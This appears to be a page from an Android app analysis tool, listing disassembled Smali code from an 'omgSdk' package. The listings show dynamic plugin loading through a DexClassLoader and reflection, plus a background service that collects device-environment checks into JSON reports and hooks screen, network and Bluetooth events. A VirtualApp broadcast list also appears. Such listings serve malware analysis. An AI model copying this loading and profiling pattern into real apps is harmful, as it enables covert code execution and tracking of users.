                              455const-string/jumbo v5, "pluginName = "
                              457invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              458move-result-object v4
                              460invoke-virtual {v4, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              461move-result-object v4
                              463invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              464move-result-object v4
                              466invoke-virtual {v1, v2, v4}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              467move-result-object v1
                              468const/4 v2, 0x2
                              469new-instance v4, Ljava/lang/StringBuilder;
                              471invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              473const-string/jumbo v5, "packageName = "
                              475invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              476move-result-object v4
                              478invoke-virtual {p0}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              479move-result-object v5
                              481invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              482move-result-object v4
                              484invoke-virtual {v4}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              485move-result-object v4
                              487invoke-virtual {v1, v2, v4}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              488move-result-object v1
                              490const-string/jumbo v2, "appleid"
                              492invoke-static {p0, v2}, Lcom/omgSdk/andoclib/Admob;->getMiddleVersionCode(Landroid/content/Context;Ljava/lang/String;)I
                              493move-result v2
                              495invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              496move-result-object v2
                              498invoke-virtual {v1, v2}, Lcom/omgSdk/a/b;->b(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              499move-result-object v1
                              501const-string/jumbo v2, "StartExeMiddlePlug"
                              503invoke-virtual {v1, v2}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              504move-result-object v1
                              506invoke-virtual {v1}, Lcom/omgSdk/a/b;->b()V
                              507const/4 v1, 0x0
                              508const/4 v2, 0x2
                              509new-array v2, v2, [Ljava/lang/Object;
                              510const/4 v4, 0x0
                              511aput-object p0, v2, v4
                              512const/4 v4, 0x1
                              514sget-object v5, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              515aput-object v5, v2, v4
                              517invoke-virtual {v0, v1, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              518try_end_2de: goto/16 :goto_102
                              519catch_2e0: move-exception v0
                              520const/4 v1, 0x0
                              521try_start_2e2: sput-object v1, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              523invoke-virtual {v0}, Ljava/lang/ClassNotFoundException;->printStackTrace()V
                              524goto/16 :goto_102
                              525catch_2e9: move-exception v0
                              526new-instance v2, Ljava/lang/StringBuilder;
                              528invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              530invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              531move-result-object v2
                              533const-string/jumbo v6, " inject loadResource error:"
                              535invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              536move-result-object v2
                              538invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                              539move-result-object v6
                              541invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              542move-result-object v2
                              544invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              545move-result-object v2
                              547invoke-static {v2}, Lcom/omg/tool/log/Logger;->E(Ljava/lang/String;)V
                              549invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              550goto/16 :goto_20c
                              551catch_30e: move-exception v0
                              552const/4 v1, 0x0
                              553sput-object v1, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              555invoke-virtual {v0}, Ljava/lang/NoSuchMethodException;->printStackTrace()V
                              556goto/16 :goto_102
                              557catch_317: move-exception v0
                              558const/4 v1, 0x0
                              559sput-object v1, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              561invoke-virtual {v0}, Ljava/lang/IllegalAccessException;->printStackTrace()V
                              562goto/16 :goto_102
                              563catch_320: move-exception v0
                              564const/4 v1, 0x0
                              565sput-object v1, Lcom/omgSdk/andoclib/Admob;->middleLoader:Ldalvik/system/DexClassLoader;
                              567invoke-virtual {v0}, Ljava/lang/reflect/InvocationTargetException;->printStackTrace()V
                              568try_end_327: goto/16 :goto_102
                              Cross References
                              APIs
                              • java.lang.String.equals
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • org.json.JSONObject.toString
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.outport.BackgroundService.getApplicationContext
                              • org.json.JSONObject.toString
                              • org.json.JSONObject.toString
                              • org.json.JSONObject.toString
                              • org.json.JSONObject.toString
                              • com.omgSdk.outport.BackgroundService.c
                              • java.util.Timer.<init>
                              • com.omgSdk.outport.BackgroundService$2.<init>
                              • java.util.Timer.schedule
                              • android.content.IntentFilter.<init>
                              • android.content.IntentFilter.addAction
                              • android.content.IntentFilter.addAction
                              • android.content.IntentFilter.addAction
                              • android.content.IntentFilter.addAction
                              • android.content.IntentFilter.addAction
                              • android.content.IntentFilter.addAction
                              • com.omgSdk.outport.BackgroundService$3.<init>
                              • com.omgSdk.outport.BackgroundService.getApplicationContext
                              • android.content.Context.registerReceiver
                              • org.json.JSONException.printStackTrace
                              Strings
                              • ReportSdk
                              • false
                              • true
                              • n_1
                              • n_2
                              • n_3
                              • n_4
                              • t_1
                              • t_4
                              • n_5
                              • n_6
                              • n_7
                              • n_8
                              • t_2
                              • n_9
                              • n_10
                              • n_11
                              • n_12
                              • t_3
                              • t_5
                              • n_13
                              • n_14
                              • s_15
                              • c_16
                              • gp_17
                              • t_6
                              • jsonService =
                              • jsonService1 =
                              • jsonService2 =
                              • jsonService3 =
                              • VirtualInfoNow
                              • android.net.conn.CONNECTIVITY_CHANGE
                              • android.intent.action.SCREEN_OFF
                              • android.intent.action.SCREEN_ON
                              • android.intent.action.USER_PRESENT
                              • android.bluetooth.adapter.action.STATE_CHANGED
                              • android.media.VOLUME_CHANGED_ACTION
                              Position Instruction Meta Information
                              0.prologue
                              2invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              3move-result-object v0
                              5const-string/jumbo v1, "ReportSdk"
                              7const-string/jumbo v2, "false"
                              9invoke-virtual {v0, v1, v2}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              10move-result-object v0
                              12const-string/jumbo v1, "true"
                              14invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              15move-result v0
                              16if-eqz v0, :cond_205
                              17try_start_17: new-instance v0, Lcom/omgSdk/outport/GetParamsUtil;
                              19invoke-direct {v0, p0}, Lcom/omgSdk/outport/GetParamsUtil;-><init>(Landroid/content/Context;)V
                              20new-instance v1, Lorg/json/JSONObject;
                              22invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                              23new-instance v2, Lorg/json/JSONObject;
                              25invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                              26new-instance v3, Lorg/json/JSONObject;
                              28invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                              29new-instance v4, Lorg/json/JSONObject;
                              31invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                              33const-string/jumbo v5, "n_1"
                              35invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->q()Z
                              36move-result v6
                              38invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              40const-string/jumbo v5, "n_2"
                              42invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->m()Z
                              43move-result v6
                              45invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              47const-string/jumbo v5, "n_3"
                              49invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->c()Z
                              50move-result v6
                              52invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              54const-string/jumbo v5, "n_4"
                              56invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->d()Z
                              57move-result v6
                              59invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              61const-string/jumbo v5, "t_1"
                              63invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->r()Z
                              64move-result v6
                              66invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              68const-string/jumbo v5, "t_4"
                              70invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->p()Z
                              71move-result v6
                              73invoke-virtual {v1, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              75const-string/jumbo v5, "n_5"
                              77invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->e()Z
                              78move-result v6
                              80invoke-virtual {v2, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              82const-string/jumbo v5, "n_6"
                              84invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->f()Z
                              85move-result v6
                              87invoke-virtual {v2, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              89const-string/jumbo v5, "n_7"
                              91invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->g()Z
                              92move-result v6
                              94invoke-virtual {v2, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              96const-string/jumbo v5, "n_8"
                              98invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->h()Z
                              99move-result v6
                              101invoke-virtual {v2, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              103const-string/jumbo v5, "t_2"
                              105invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->s()Z
                              106move-result v6
                              108invoke-virtual {v2, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              110const-string/jumbo v5, "n_9"
                              112invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->i()Z
                              113move-result v6
                              115invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              117const-string/jumbo v5, "n_10"
                              119invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->j()Z
                              120move-result v6
                              122invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              124const-string/jumbo v5, "n_11"
                              126invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->k()Z
                              127move-result v6
                              129invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              131const-string/jumbo v5, "n_12"
                              133invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->o()I
                              134move-result v6
                              136invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              138const-string/jumbo v5, "t_3"
                              140invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->t()Z
                              141move-result v6
                              143invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              145const-string/jumbo v5, "t_5"
                              147invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->b()Z
                              148move-result v6
                              150invoke-virtual {v3, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              152const-string/jumbo v5, "n_13"
                              154invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->l()Z
                              155move-result v6
                              157invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              159const-string/jumbo v5, "n_14"
                              161invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->n()I
                              162move-result v6
                              164invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              166const-string/jumbo v5, "s_15"
                              168invoke-static {p0}, Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;)Z
                              169move-result v6
                              171invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              173const-string/jumbo v5, "c_16"
                              175invoke-virtual {v0}, Lcom/omgSdk/outport/GetParamsUtil;->a()Z
                              176move-result v6
                              178invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Z)Lorg/json/JSONObject;
                              180const-string/jumbo v5, "gp_17"
                              182invoke-virtual {v0, p0}, Lcom/omgSdk/outport/GetParamsUtil;->a(Landroid/content/Context;)I
                              183move-result v6
                              185invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              187const-string/jumbo v5, "t_6"
                              189invoke-virtual {v0, p0}, Lcom/omgSdk/outport/GetParamsUtil;->b(Landroid/content/Context;)Ljava/lang/Boolean;
                              190move-result-object v0
                              192invoke-virtual {v4, v5, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              193new-instance v0, Ljava/lang/StringBuilder;
                              195invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              197const-string/jumbo v5, "jsonService = "
                              199invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              200move-result-object v0
                              202invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              203move-result-object v5
                              205invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              206move-result-object v0
                              208invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              209move-result-object v0
                              211invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              212new-instance v0, Ljava/lang/StringBuilder;
                              214invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              216const-string/jumbo v5, "jsonService1 = "
                              218invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              219move-result-object v0
                              221invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              222move-result-object v5
                              224invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              225move-result-object v0
                              227invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              228move-result-object v0
                              230invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              231new-instance v0, Ljava/lang/StringBuilder;
                              233invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              235const-string/jumbo v5, "jsonService2 = "
                              237invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              238move-result-object v0
                              240invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              241move-result-object v5
                              243invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              244move-result-object v0
                              246invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              247move-result-object v0
                              249invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              250new-instance v0, Ljava/lang/StringBuilder;
                              252invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              254const-string/jumbo v5, "jsonService3 = "
                              256invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              257move-result-object v0
                              259invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              260move-result-object v5
                              262invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              263move-result-object v0
                              265invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              266move-result-object v0
                              268invoke-static {v0}, Lcom/omg/tool/log/Logger;->I(Ljava/lang/String;)V
                              270invoke-virtual {p0}, Lcom/omgSdk/outport/BackgroundService;->getApplicationContext()Landroid/content/Context;
                              271move-result-object v0
                              273invoke-static {v0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              274move-result-object v0
                              275const/4 v5, 0x1
                              277invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              278move-result-object v1
                              280invoke-virtual {v0, v5, v1}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              281move-result-object v0
                              282const/4 v1, 0x2
                              284invoke-virtual {v2}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              285move-result-object v2
                              287invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              288move-result-object v0
                              289const/4 v1, 0x3
                              291invoke-virtual {v3}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              292move-result-object v2
                              294invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              295move-result-object v0
                              296const/4 v1, 0x4
                              298invoke-virtual {v4}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              299move-result-object v2
                              301invoke-virtual {v0, v1, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              302move-result-object v0
                              304const-string/jumbo v1, "VirtualInfoNow"
                              306invoke-virtual {v0, v1}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              307move-result-object v0
                              309invoke-virtual {v0}, Lcom/omgSdk/a/b;->b()V
                              310goto_1b8:
                              311invoke-direct {p0}, Lcom/omgSdk/outport/BackgroundService;->c()V
                              312new-instance v0, Ljava/util/Timer;
                              314invoke-direct {v0}, Ljava/util/Timer;-><init>()V
                              316invoke-static {p0}, Lcom/omgSdk/andoclib/g;->a(Landroid/content/Context;)V
                              317new-instance v1, Lcom/omgSdk/outport/BackgroundService$2;
                              319invoke-direct {v1, p0}, Lcom/omgSdk/outport/BackgroundService$2;-><init>(Lcom/omgSdk/outport/BackgroundService;)V
                              320const-wide/16 v2, 0x1388
                              321const-wide/32 v4, 0xdbba00
                              323invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;JJ)V
                              324new-instance v0, Landroid/content/IntentFilter;
                              326invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
                              328const-string/jumbo v1, "android.net.conn.CONNECTIVITY_CHANGE"
                              330invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              332const-string/jumbo v1, "android.intent.action.SCREEN_OFF"
                              334invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              336const-string/jumbo v1, "android.intent.action.SCREEN_ON"
                              338invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              340const-string/jumbo v1, "android.intent.action.USER_PRESENT"
                              342invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              344const-string/jumbo v1, "android.bluetooth.adapter.action.STATE_CHANGED"
                              346invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              348const-string/jumbo v1, "android.media.VOLUME_CHANGED_ACTION"
                              350invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->addAction(Ljava/lang/String;)V
                              351new-instance v1, Lcom/omgSdk/outport/BackgroundService$3;
                              353invoke-direct {v1, p0}, Lcom/omgSdk/outport/BackgroundService$3;-><init>(Lcom/omgSdk/outport/BackgroundService;)V
                              355invoke-virtual {p0}, Lcom/omgSdk/outport/BackgroundService;->getApplicationContext()Landroid/content/Context;
                              356move-result-object v2
                              358invoke-virtual {v2, v1, v0}, Landroid/content/Context;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
                              359cond_205: return-void
                              360catch_206: move-exception v0
                              362invoke-virtual {v0}, Lorg/json/JSONException;->printStackTrace()V
                              363goto/16 :goto_1b8
                              APIs
                              • java.util.ArrayList.<init>
                              • java.util.HashMap.<init>
                              • java.util.HashSet.<init>
                              • java.util.HashSet.<init>
                              • java.util.HashSet.<init>
                              • java.util.HashSet.<init>
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.Set.add
                              • java.util.List.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.Map.put
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.util.HashSet.add
                              • java.lang.Throwable.printStackTrace
                              Strings
                              • _VA_protected_
                              • android.intent.action.DOWNLOAD_COMPLETE
                              • android.intent.action.SCREEN_ON
                              • android.intent.action.SCREEN_OFF
                              • android.intent.action.NEW_OUTGOING_CALL
                              • android.intent.action.TIME_TICK
                              • android.intent.action.TIME_SET
                              • android.intent.action.TIMEZONE_CHANGED
                              • android.intent.action.BATTERY_CHANGED
                              • android.intent.action.BATTERY_LOW
                              • android.intent.action.BATTERY_OKAY
                              • android.intent.action.ACTION_POWER_CONNECTED
                              • android.intent.action.ACTION_POWER_DISCONNECTED
                              • android.provider.Telephony.SMS_RECEIVED
                              • android.provider.Telephony.SMS_DELIVER
                              • android.net.wifi.STATE_CHANGE
                              • android.net.wifi.SCAN_RESULTS
                              • android.net.wifi.WIFI_STATE_CHANGED
                              • android.net.conn.CONNECTIVITY_CHANGE
                              • android.intent.action.ANY_DATA_STATE
                              • android.intent.action.SIM_STATE_CHANGED
                              • android.location.PROVIDERS_CHANGED
                              • android.location.MODE_CHANGED
                              • android.appwidget.action.APPWIDGET_UPDATE
                              • com.google.android.gms.settings.SECURITY_SETTINGS
                              • com.google.android.apps.plus.PRIVACY_SETTINGS
                              • android.permission.ACCOUNT_MANAGER
                              • android.intent.action.PACKAGE_ADDED
                              • virtual.android.intent.action.PACKAGE_ADDED
                              • android.intent.action.PACKAGE_REMOVED
                              • virtual.android.intent.action.PACKAGE_REMOVED
                              • android.intent.action.PACKAGE_CHANGED
                              • virtual.android.intent.action.PACKAGE_CHANGED
                              • android.intent.action.USER_ADDED
                              • virtual.android.intent.action.USER_ADDED
                              • android.intent.action.USER_REMOVED
                              • virtual.android.intent.action.USER_REMOVED
                              • com.qihoo.magic
                              • com.qihoo.magic_mutiple
                              • com.facebook.katana
                              • android
                              • com.google.android.webview
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v2, 0x3
                              2new-instance v0, Ljava/util/ArrayList;
                              3const/4 v1, 0x1
                              5invoke-direct {v0, v1}, Ljava/util/ArrayList;-><init>(I)V
                              6sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->ACTION_BLACK_LIST:Ljava/util/List;
                              7new-instance v0, Ljava/util/HashMap;
                              8const/4 v1, 0x5
                              10invoke-direct {v0, v1}, Ljava/util/HashMap;-><init>(I)V
                              11sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              12new-instance v0, Ljava/util/HashSet;
                              14invoke-direct {v0, v2}, Ljava/util/HashSet;-><init>(I)V
                              15sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->WHITE_PERMISSION:Ljava/util/HashSet;
                              16new-instance v0, Ljava/util/HashSet;
                              17const/4 v1, 0x2
                              19invoke-direct {v0, v1}, Ljava/util/HashSet;-><init>(I)V
                              20sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->INSTRUMENTATION_CONFLICTING:Ljava/util/HashSet;
                              21new-instance v0, Ljava/util/HashSet;
                              23invoke-direct {v0, v2}, Ljava/util/HashSet;-><init>(I)V
                              24sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SPEC_SYSTEM_APP_LIST:Ljava/util/HashSet;
                              25new-instance v0, Ljava/util/HashSet;
                              26const/4 v1, 0x7
                              28invoke-direct {v0, v1}, Ljava/util/HashSet;-><init>(I)V
                              29sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              31const-string v0, "_VA_protected_"
                              32sput-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECT_ACTION_PREFIX:Ljava/lang/String;
                              34sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              36const-string v1, "android.intent.action.DOWNLOAD_COMPLETE"
                              38invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              40sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              42const-string v1, "android.intent.action.SCREEN_ON"
                              44invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              46sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              48const-string v1, "android.intent.action.SCREEN_OFF"
                              50invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              52sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              54const-string v1, "android.intent.action.NEW_OUTGOING_CALL"
                              56invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              58sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              60const-string v1, "android.intent.action.TIME_TICK"
                              62invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              64sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              66const-string v1, "android.intent.action.TIME_SET"
                              68invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              70sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              72const-string v1, "android.intent.action.TIMEZONE_CHANGED"
                              74invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
